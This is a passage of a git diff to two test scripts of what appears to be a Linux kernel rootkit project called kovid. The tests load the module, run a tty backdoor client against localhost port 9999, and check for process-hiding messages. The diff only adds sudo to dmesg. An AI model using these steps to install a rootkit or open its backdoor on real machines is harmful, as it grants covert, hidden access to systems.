CHECK: kv: using kprobe for kallsyms_lookup_name # CHECK: Waiting for event diff --git a/test/native/simple-insmod-lkm.test b/test/native/simple-insmod-lkm.test index bf1aa9e..38278b7 100644 --- a/test/native/simple-insmod-lkm.test +++ b/test/native/simple-insmod-lkm.test @@ -9,7 +9,7 @@ sudo dmesg -c sleep 10 sudo insmod ../../../build/kovid.ko sudo rmmod kovid -dmesg +sudo dmesg # CHECK: kv: using kprobe for kallsyms_lookup_name # CHECK: Waiting for event diff --git a/test/native/tty-backdoor.test b/test/native/tty-backdoor.test index 7b282e4..b404346 100644 --- a/test/native/tty-backdoor.test +++ b/test/native/tty-backdoor.test @@ -10,7 +10,7 @@ sleep 20 sudo insmod ../../../build/kovid.ko sudo timeout 10 ../../../scripts/bdclient.sh tty localhost 9999 sudo rmmod kovid -dmesg +sudo dmesg # CHECK: Got event # CHECK: hide {{.*}} tail : {{.*}}